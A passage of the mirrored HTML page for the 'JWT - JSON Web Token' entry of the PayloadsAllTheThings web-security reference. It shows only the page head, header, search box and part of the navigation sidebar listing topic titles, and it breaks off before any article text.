mirror of
https://github.com/swisskyrepo/PayloadsAllTheThings.git
synced 2024-12-20 03:16:10 +00:00
6840 lines
181 KiB
HTML
6840 lines
181 KiB
HTML
|
|
|||
|
<!doctype html>
|
|||
|
<html lang="en" class="no-js">
|
|||
|
<head>
|
|||
|
|
|||
|
<meta charset="utf-8">
|
|||
|
<meta name="viewport" content="width=device-width,initial-scale=1">
|
|||
|
|
|||
|
<meta name="description" content="Payloads All The Things, a list of useful payloads and bypasses for Web Application Security">
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<link rel="canonical" href="https://swisskyrepo.github.io/PayloadsAllTheThings/JSON%20Web%20Token/">
|
|||
|
|
|||
|
|
|||
|
<link rel="prev" href="../Insecure%20Source%20Code%20Management/Subversion/">
|
|||
|
|
|||
|
|
|||
|
<link rel="next" href="../Java%20RMI/">
|
|||
|
|
|||
|
|
|||
|
<link rel="icon" href="../assets/images/favicon.png">
|
|||
|
<meta name="generator" content="mkdocs-1.6.1, mkdocs-material-9.5.47">
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<title>JWT - JSON Web Token - Payloads All The Things</title>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<link rel="stylesheet" href="../assets/stylesheets/main.6f8fc17f.min.css">
|
|||
|
|
|||
|
|
|||
|
<link rel="stylesheet" href="../assets/stylesheets/palette.06af60db.min.css">
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<style>
|
|||
|
.social-container {
|
|||
|
float: right;
|
|||
|
}
|
|||
|
</style>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
|
|||
|
<link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback">
|
|||
|
<style>:root{--md-text-font:"Roboto";--md-code-font:"Roboto Mono"}</style>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<link rel="stylesheet" href="../custom.css">
|
|||
|
|
|||
|
<script>__md_scope=new URL("..",location),__md_hash=e=>[...e].reduce(((e,_)=>(e<<5)-e+_.charCodeAt(0)),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+"."+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+"."+e,JSON.stringify(_))}catch(e){}}</script>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<meta property="og:type" content="website" >
|
|||
|
|
|||
|
<meta property="og:title" content="JWT - JSON Web Token - Payloads All The Things" >
|
|||
|
|
|||
|
<meta property="og:description" content="Payloads All The Things, a list of useful payloads and bypasses for Web Application Security" >
|
|||
|
|
|||
|
<meta property="og:image" content="https://swisskyrepo.github.io/PayloadsAllTheThings/assets/images/social/JSON Web Token/README.png" >
|
|||
|
|
|||
|
<meta property="og:image:type" content="image/png" >
|
|||
|
|
|||
|
<meta property="og:image:width" content="1200" >
|
|||
|
|
|||
|
<meta property="og:image:height" content="630" >
|
|||
|
|
|||
|
<meta property="og:url" content="https://swisskyrepo.github.io/PayloadsAllTheThings/JSON%20Web%20Token/" >
|
|||
|
|
|||
|
<meta name="twitter:card" content="summary_large_image" >
|
|||
|
|
|||
|
<meta name="twitter:title" content="JWT - JSON Web Token - Payloads All The Things" >
|
|||
|
|
|||
|
<meta name="twitter:description" content="Payloads All The Things, a list of useful payloads and bypasses for Web Application Security" >
|
|||
|
|
|||
|
<meta name="twitter:image" content="https://swisskyrepo.github.io/PayloadsAllTheThings/assets/images/social/JSON Web Token/README.png" >
|
|||
|
|
|||
|
|
|||
|
|
|||
|
</head>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<body dir="ltr" data-md-color-scheme="default" data-md-color-primary="indigo" data-md-color-accent="indigo">
|
|||
|
|
|||
|
|
|||
|
<input class="md-toggle" data-md-toggle="drawer" type="checkbox" id="__drawer" autocomplete="off">
|
|||
|
<input class="md-toggle" data-md-toggle="search" type="checkbox" id="__search" autocomplete="off">
|
|||
|
<label class="md-overlay" for="__drawer"></label>
|
|||
|
<div data-md-component="skip">
|
|||
|
|
|||
|
|
|||
|
<a href="#jwt-json-web-token" class="md-skip">
|
|||
|
Skip to content
|
|||
|
</a>
|
|||
|
|
|||
|
</div>
|
|||
|
<div data-md-component="announce">
|
|||
|
|
|||
|
</div>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<header class="md-header md-header--shadow" data-md-component="header">
|
|||
|
<nav class="md-header__inner md-grid" aria-label="Header">
|
|||
|
<a href=".." title="Payloads All The Things" class="md-header__button md-logo" aria-label="Payloads All The Things" data-md-component="logo">
|
|||
|
|
|||
|
|
|||
|
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="M12 8a3 3 0 0 0 3-3 3 3 0 0 0-3-3 3 3 0 0 0-3 3 3 3 0 0 0 3 3m0 3.54C9.64 9.35 6.5 8 3 8v11c3.5 0 6.64 1.35 9 3.54 2.36-2.19 5.5-3.54 9-3.54V8c-3.5 0-6.64 1.35-9 3.54"/></svg>
|
|||
|
|
|||
|
</a>
|
|||
|
<label class="md-header__button md-icon" for="__drawer">
|
|||
|
|
|||
|
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="M3 6h18v2H3zm0 5h18v2H3zm0 5h18v2H3z"/></svg>
|
|||
|
</label>
|
|||
|
<div class="md-header__title" data-md-component="header-title">
|
|||
|
<div class="md-header__ellipsis">
|
|||
|
<div class="md-header__topic">
|
|||
|
<span class="md-ellipsis">
|
|||
|
Payloads All The Things
|
|||
|
</span>
|
|||
|
</div>
|
|||
|
<div class="md-header__topic" data-md-component="header-topic">
|
|||
|
<span class="md-ellipsis">
|
|||
|
|
|||
|
JWT - JSON Web Token
|
|||
|
|
|||
|
</span>
|
|||
|
</div>
|
|||
|
</div>
|
|||
|
</div>
|
|||
|
|
|||
|
|
|||
|
<form class="md-header__option" data-md-component="palette">
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<input class="md-option" data-md-color-media="(prefers-color-scheme: light)" data-md-color-scheme="default" data-md-color-primary="indigo" data-md-color-accent="indigo" aria-label="Switch to dark mode" type="radio" name="__palette" id="__palette_0">
|
|||
|
|
|||
|
<label class="md-header__button md-icon" title="Switch to dark mode" for="__palette_1" hidden>
|
|||
|
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="M12 8a4 4 0 0 0-4 4 4 4 0 0 0 4 4 4 4 0 0 0 4-4 4 4 0 0 0-4-4m0 10a6 6 0 0 1-6-6 6 6 0 0 1 6-6 6 6 0 0 1 6 6 6 6 0 0 1-6 6m8-9.31V4h-4.69L12 .69 8.69 4H4v4.69L.69 12 4 15.31V20h4.69L12 23.31 15.31 20H20v-4.69L23.31 12z"/></svg>
|
|||
|
</label>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<input class="md-option" data-md-color-media="(prefers-color-scheme: dark)" data-md-color-scheme="slate" data-md-color-primary="indigo" data-md-color-accent="indigo" aria-label="Switch to light mode" type="radio" name="__palette" id="__palette_1">
|
|||
|
|
|||
|
<label class="md-header__button md-icon" title="Switch to light mode" for="__palette_0" hidden>
|
|||
|
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="M12 18c-.89 0-1.74-.2-2.5-.55C11.56 16.5 13 14.42 13 12s-1.44-4.5-3.5-5.45C10.26 6.2 11.11 6 12 6a6 6 0 0 1 6 6 6 6 0 0 1-6 6m8-9.31V4h-4.69L12 .69 8.69 4H4v4.69L.69 12 4 15.31V20h4.69L12 23.31 15.31 20H20v-4.69L23.31 12z"/></svg>
|
|||
|
</label>
|
|||
|
|
|||
|
|
|||
|
</form>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<script>var palette=__md_get("__palette");if(palette&&palette.color){if("(prefers-color-scheme)"===palette.color.media){var media=matchMedia("(prefers-color-scheme: light)"),input=document.querySelector(media.matches?"[data-md-color-media='(prefers-color-scheme: light)']":"[data-md-color-media='(prefers-color-scheme: dark)']");palette.color.media=input.getAttribute("data-md-color-media"),palette.color.scheme=input.getAttribute("data-md-color-scheme"),palette.color.primary=input.getAttribute("data-md-color-primary"),palette.color.accent=input.getAttribute("data-md-color-accent")}for(var[key,value]of Object.entries(palette.color))document.body.setAttribute("data-md-color-"+key,value)}</script>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<label class="md-header__button md-icon" for="__search">
|
|||
|
|
|||
|
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg>
|
|||
|
</label>
|
|||
|
<div class="md-search" data-md-component="search" role="dialog">
|
|||
|
<label class="md-search__overlay" for="__search"></label>
|
|||
|
<div class="md-search__inner" role="search">
|
|||
|
<form class="md-search__form" name="search">
|
|||
|
<input type="text" class="md-search__input" name="query" aria-label="Search" placeholder="Search" autocapitalize="off" autocorrect="off" autocomplete="off" spellcheck="false" data-md-component="search-query" required>
|
|||
|
<label class="md-search__icon md-icon" for="__search">
|
|||
|
|
|||
|
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg>
|
|||
|
|
|||
|
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11z"/></svg>
|
|||
|
</label>
|
|||
|
<nav class="md-search__options" aria-label="Search">
|
|||
|
|
|||
|
<a href="javascript:void(0)" class="md-search__icon md-icon" title="Share" aria-label="Share" data-clipboard data-clipboard-text="" data-md-component="search-share" tabindex="-1">
|
|||
|
|
|||
|
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="M18 16.08c-.76 0-1.44.3-1.96.77L8.91 12.7c.05-.23.09-.46.09-.7s-.04-.47-.09-.7l7.05-4.11c.54.5 1.25.81 2.04.81a3 3 0 0 0 3-3 3 3 0 0 0-3-3 3 3 0 0 0-3 3c0 .24.04.47.09.7L8.04 9.81C7.5 9.31 6.79 9 6 9a3 3 0 0 0-3 3 3 3 0 0 0 3 3c.79 0 1.5-.31 2.04-.81l7.12 4.15c-.05.21-.08.43-.08.66 0 1.61 1.31 2.91 2.92 2.91s2.92-1.3 2.92-2.91A2.92 2.92 0 0 0 18 16.08"/></svg>
|
|||
|
</a>
|
|||
|
|
|||
|
<button type="reset" class="md-search__icon md-icon" title="Clear" aria-label="Clear" tabindex="-1">
|
|||
|
|
|||
|
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z"/></svg>
|
|||
|
</button>
|
|||
|
</nav>
|
|||
|
|
|||
|
<div class="md-search__suggest" data-md-component="search-suggest"></div>
|
|||
|
|
|||
|
</form>
|
|||
|
<div class="md-search__output">
|
|||
|
<div class="md-search__scrollwrap" tabindex="0" data-md-scrollfix>
|
|||
|
<div class="md-search-result" data-md-component="search-result">
|
|||
|
<div class="md-search-result__meta">
|
|||
|
Initializing search
|
|||
|
</div>
|
|||
|
<ol class="md-search-result__list" role="presentation"></ol>
|
|||
|
</div>
|
|||
|
</div>
|
|||
|
</div>
|
|||
|
</div>
|
|||
|
</div>
|
|||
|
|
|||
|
|
|||
|
<div class="md-header__source">
|
|||
|
<a href="https://github.com/swisskyrepo/PayloadsAllTheThings/" title="Go to repository" class="md-source" data-md-component="source">
|
|||
|
<div class="md-source__icon md-icon">
|
|||
|
|
|||
|
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 496 512"><!--! Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg>
|
|||
|
</div>
|
|||
|
<div class="md-source__repository">
|
|||
|
GitHub
|
|||
|
</div>
|
|||
|
</a>
|
|||
|
</div>
|
|||
|
|
|||
|
</nav>
|
|||
|
|
|||
|
</header>
|
|||
|
|
|||
|
<div class="md-container" data-md-component="container">
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<main class="md-main" data-md-component="main">
|
|||
|
<div class="md-main__inner md-grid">
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<div class="md-sidebar md-sidebar--primary" data-md-component="sidebar" data-md-type="navigation" >
|
|||
|
<div class="md-sidebar__scrollwrap">
|
|||
|
<div class="md-sidebar__inner">
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<nav class="md-nav md-nav--primary" aria-label="Navigation" data-md-level="0">
|
|||
|
<label class="md-nav__title" for="__drawer">
|
|||
|
<a href=".." title="Payloads All The Things" class="md-nav__button md-logo" aria-label="Payloads All The Things" data-md-component="logo">
|
|||
|
|
|||
|
|
|||
|
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="M12 8a3 3 0 0 0 3-3 3 3 0 0 0-3-3 3 3 0 0 0-3 3 3 3 0 0 0 3 3m0 3.54C9.64 9.35 6.5 8 3 8v11c3.5 0 6.64 1.35 9 3.54 2.36-2.19 5.5-3.54 9-3.54V8c-3.5 0-6.64 1.35-9 3.54"/></svg>
|
|||
|
|
|||
|
</a>
|
|||
|
Payloads All The Things
|
|||
|
</label>
|
|||
|
|
|||
|
<div class="md-nav__source">
|
|||
|
<a href="https://github.com/swisskyrepo/PayloadsAllTheThings/" title="Go to repository" class="md-source" data-md-component="source">
|
|||
|
<div class="md-source__icon md-icon">
|
|||
|
|
|||
|
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 496 512"><!--! Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg>
|
|||
|
</div>
|
|||
|
<div class="md-source__repository">
|
|||
|
GitHub
|
|||
|
</div>
|
|||
|
</a>
|
|||
|
</div>
|
|||
|
|
|||
|
<ul class="md-nav__list" data-md-scrollfix>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<li class="md-nav__item">
|
|||
|
<a href=".." class="md-nav__link">
|
|||
|
|
|||
|
|
|||
|
<span class="md-ellipsis">
|
|||
|
Payloads All The Things
|
|||
|
</span>
|
|||
|
|
|||
|
|
|||
|
</a>
|
|||
|
</li>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<li class="md-nav__item">
|
|||
|
<a href="../CONTRIBUTING/" class="md-nav__link">
|
|||
|
|
|||
|
|
|||
|
<span class="md-ellipsis">
|
|||
|
CONTRIBUTING
|
|||
|
</span>
|
|||
|
|
|||
|
|
|||
|
</a>
|
|||
|
</li>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<li class="md-nav__item md-nav__item--nested">
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_3" >
|
|||
|
|
|||
|
|
|||
|
<label class="md-nav__link" for="__nav_3" id="__nav_3_label" tabindex="0">
|
|||
|
|
|||
|
|
|||
|
<span class="md-ellipsis">
|
|||
|
API Key Leaks
|
|||
|
</span>
|
|||
|
|
|||
|
|
|||
|
<span class="md-nav__icon md-icon"></span>
|
|||
|
</label>
|
|||
|
|
|||
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_3_label" aria-expanded="false">
|
|||
|
<label class="md-nav__title" for="__nav_3">
|
|||
|
<span class="md-nav__icon md-icon"></span>
|
|||
|
API Key Leaks
|
|||
|
</label>
|
|||
|
<ul class="md-nav__list" data-md-scrollfix>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<li class="md-nav__item">
|
|||
|
<a href="../API%20Key%20Leaks/" class="md-nav__link">
|
|||
|
|
|||
|
|
|||
|
<span class="md-ellipsis">
|
|||
|
API Key and Token Leaks
|
|||
|
</span>
|
|||
|
|
|||
|
|
|||
|
</a>
|
|||
|
</li>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<li class="md-nav__item">
|
|||
|
<a href="../API%20Key%20Leaks/IIS-Machine-Keys/" class="md-nav__link">
|
|||
|
|
|||
|
|
|||
|
<span class="md-ellipsis">
|
|||
|
IIS Machine Keys
|
|||
|
</span>
|
|||
|
|
|||
|
|
|||
|
</a>
|
|||
|
</li>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
</ul>
|
|||
|
</nav>
|
|||
|
|
|||
|
</li>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<li class="md-nav__item md-nav__item--nested">
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_4" >
|
|||
|
|
|||
|
|
|||
|
<label class="md-nav__link" for="__nav_4" id="__nav_4_label" tabindex="0">
|
|||
|
|
|||
|
|
|||
|
<span class="md-ellipsis">
|
|||
|
Account Takeover
|
|||
|
</span>
|
|||
|
|
|||
|
|
|||
|
<span class="md-nav__icon md-icon"></span>
|
|||
|
</label>
|
|||
|
|
|||
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_4_label" aria-expanded="false">
|
|||
|
<label class="md-nav__title" for="__nav_4">
|
|||
|
<span class="md-nav__icon md-icon"></span>
|
|||
|
Account Takeover
|
|||
|
</label>
|
|||
|
<ul class="md-nav__list" data-md-scrollfix>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<li class="md-nav__item">
|
|||
|
<a href="../Account%20Takeover/" class="md-nav__link">
|
|||
|
|
|||
|
|
|||
|
<span class="md-ellipsis">
|
|||
|
Account Takeover
|
|||
|
</span>
|
|||
|
|
|||
|
|
|||
|
</a>
|
|||
|
</li>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<li class="md-nav__item">
|
|||
|
<a href="../Account%20Takeover/mfa-bypass/" class="md-nav__link">
|
|||
|
|
|||
|
|
|||
|
<span class="md-ellipsis">
|
|||
|
MFA Bypasses
|
|||
|
</span>
|
|||
|
|
|||
|
|
|||
|
</a>
|
|||
|
</li>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
</ul>
|
|||
|
</nav>
|
|||
|
|
|||
|
</li>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<li class="md-nav__item md-nav__item--nested">
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_5" >
|
|||
|
|
|||
|
|
|||
|
<label class="md-nav__link" for="__nav_5" id="__nav_5_label" tabindex="0">
|
|||
|
|
|||
|
|
|||
|
<span class="md-ellipsis">
|
|||
|
Business Logic Errors
|
|||
|
</span>
|
|||
|
|
|||
|
|
|||
|
<span class="md-nav__icon md-icon"></span>
|
|||
|
</label>
|
|||
|
|
|||
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_5_label" aria-expanded="false">
|
|||
|
<label class="md-nav__title" for="__nav_5">
|
|||
|
<span class="md-nav__icon md-icon"></span>
|
|||
|
Business Logic Errors
|
|||
|
</label>
|
|||
|
<ul class="md-nav__list" data-md-scrollfix>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<li class="md-nav__item">
|
|||
|
<a href="../Business%20Logic%20Errors/" class="md-nav__link">
|
|||
|
|
|||
|
|
|||
|
<span class="md-ellipsis">
|
|||
|
Business Logic Errors
|
|||
|
</span>
|
|||
|
|
|||
|
|
|||
|
</a>
|
|||
|
</li>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
</ul>
|
|||
|
</nav>
|
|||
|
|
|||
|
</li>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<li class="md-nav__item md-nav__item--nested">
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_6" >
|
|||
|
|
|||
|
|
|||
|
<label class="md-nav__link" for="__nav_6" id="__nav_6_label" tabindex="0">
|
|||
|
|
|||
|
|
|||
|
<span class="md-ellipsis">
|
|||
|
CORS Misconfiguration
|
|||
|
</span>
|
|||
|
|
|||
|
|
|||
|
<span class="md-nav__icon md-icon"></span>
|
|||
|
</label>
|
|||
|
|
|||
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_6_label" aria-expanded="false">
|
|||
|
<label class="md-nav__title" for="__nav_6">
|
|||
|
<span class="md-nav__icon md-icon"></span>
|
|||
|
CORS Misconfiguration
|
|||
|
</label>
|
|||
|
<ul class="md-nav__list" data-md-scrollfix>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<li class="md-nav__item">
|
|||
|
<a href="../CORS%20Misconfiguration/" class="md-nav__link">
|
|||
|
|
|||
|
|
|||
|
<span class="md-ellipsis">
|
|||
|
CORS Misconfiguration
|
|||
|
</span>
|
|||
|
|
|||
|
|
|||
|
</a>
|
|||
|
</li>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
</ul>
|
|||
|
</nav>
|
|||
|
|
|||
|
</li>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<li class="md-nav__item md-nav__item--nested">
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_7" >
|
|||
|
|
|||
|
|
|||
|
<label class="md-nav__link" for="__nav_7" id="__nav_7_label" tabindex="0">
|
|||
|
|
|||
|
|
|||
|
<span class="md-ellipsis">
|
|||
|
CRLF Injection
|
|||
|
</span>
|
|||
|
|
|||
|
|
|||
|
<span class="md-nav__icon md-icon"></span>
|
|||
|
</label>
|
|||
|
|
|||
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_7_label" aria-expanded="false">
|
|||
|
<label class="md-nav__title" for="__nav_7">
|
|||
|
<span class="md-nav__icon md-icon"></span>
|
|||
|
CRLF Injection
|
|||
|
</label>
|
|||
|
<ul class="md-nav__list" data-md-scrollfix>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<li class="md-nav__item">
|
|||
|
<a href="../CRLF%20Injection/" class="md-nav__link">
|
|||
|
|
|||
|
|
|||
|
<span class="md-ellipsis">
|
|||
|
Carriage Return Line Feed
|
|||
|
</span>
|
|||
|
|
|||
|
|
|||
|
</a>
|
|||
|
</li>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
</ul>
|
|||
|
</nav>
|
|||
|
|
|||
|
</li>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<li class="md-nav__item md-nav__item--nested">
|
|||
|
|
|||
|
|
|||
|
|
|||
|
